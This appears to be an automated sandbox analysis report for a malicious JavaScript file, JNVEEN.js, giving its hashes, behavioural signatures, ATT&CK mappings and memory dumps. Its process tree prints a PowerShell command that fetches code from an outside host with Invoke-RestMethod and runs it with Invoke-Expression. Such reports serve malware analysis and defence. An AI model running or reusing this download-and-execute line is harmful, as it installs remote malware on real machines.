0bae047a2fecd7a081f9980a7f754af4fa0c9e5eb41b937ab8448ef50edf820f

Analysis

max time kernel
121s
max time network
124s
platform
windows7_x64
resource
win7-20231020-en
resource tags

arch:x64arch:x86image:win7-20231020-enlocale:en-usos:windows7-x64system
submitted
15-11-2023 12:01

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General

Target

JNVEEN.js
Size

237KB
MD5

ea6fd6ca47514d9c632c119d73aef528
SHA1

0d47cbd6d19a17a57077cbc0d0aa659865458672
SHA256

c788100411c38388afc3438dccc05297ac7a77083f579e4a7e8d6e1479214fde
SHA512

e20079b69e82eb48222635ef03a6f935871ea69f6d7715401ac208bbbb33a5af7fcb8c6c745364b31c2ee07e3f4bf2e5e5c2d1ae6ae87b795fa23230ead290ec
SSDEEP

6144:k7hgXeerjqlI2Iro+Qqn7hgXeerjqlI2Iro+JGxw:ehgSlI23W7hgSlI23Ct

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
3	2112	wscript.exe
5	2112	wscript.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
1736	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1736	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2112 wrote to memory of 1736	2112	wscript.exe	28
PID 2112 wrote to memory of 1736	2112	wscript.exe	28
PID 2112 wrote to memory of 1736	2112	wscript.exe	28

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\JNVEEN.js
1⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:2112
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Invoke-Expression (Invoke-RestMethod -Uri "http://faststroygo.com:80/jsslatecqpa");
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1736

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\Cab39C8.tmp

Filesize
61KB

MD5
f3441b8572aae8801c04f3060b550443

SHA1
4ef0a35436125d6821831ef36c28ffaf196cda15

SHA256
6720349e7d82ee0a8e73920d3c2b7cb2912d9fcf2edb6fd98f2f12820158b0bf

SHA512
5ba01ba421b50030e380ae6bbcd2f681f2a91947fe7fedb3c8e6b5f24dce9517abf57b1cf26cc6078d4bb53bde6fcfb2561591337c841f8f2cb121a3d71661b9

Download Submit
C:\Users\Admin\AppData\Local\Temp\Tar39CB.tmp

Filesize
163KB

MD5
9441737383d21192400eca82fda910ec

SHA1
725e0d606a4fc9ba44aa8ffde65bed15e65367e4

SHA256
bc3a6e84e41faeb57e7c21aa3b60c2a64777107009727c5b7c0ed8fe658909e5

SHA512
7608dd653a66cd364392a78d4711b48d1707768d36996e4d38871c6843b5714e1d7da4b4cc6db969e6000cfa182bcb74216ef6823d1063f036fc5c3413fb8dcf

Download Submit
memory/1736-126-0x000000001B3A0000-0x000000001B682000-memory.dmp

Filesize
2.9MB

Download
memory/1736-127-0x0000000002360000-0x0000000002368000-memory.dmp

Filesize
32KB

Download
memory/1736-128-0x000007FEF5BC0000-0x000007FEF655D000-memory.dmp

Filesize
9.6MB

Download
memory/1736-129-0x0000000001E50000-0x0000000001ED0000-memory.dmp

Filesize
512KB

Download
memory/1736-130-0x0000000001E50000-0x0000000001ED0000-memory.dmp

Filesize
512KB

Download
memory/1736-131-0x0000000001E50000-0x0000000001ED0000-memory.dmp

Filesize
512KB

Download
memory/1736-132-0x000007FEF5BC0000-0x000007FEF655D000-memory.dmp

Filesize
9.6MB

Download
memory/1736-133-0x0000000001E50000-0x0000000001ED0000-memory.dmp

Filesize
512KB

Download
memory/1736-134-0x000007FEF5BC0000-0x000007FEF655D000-memory.dmp

Filesize
9.6MB

Download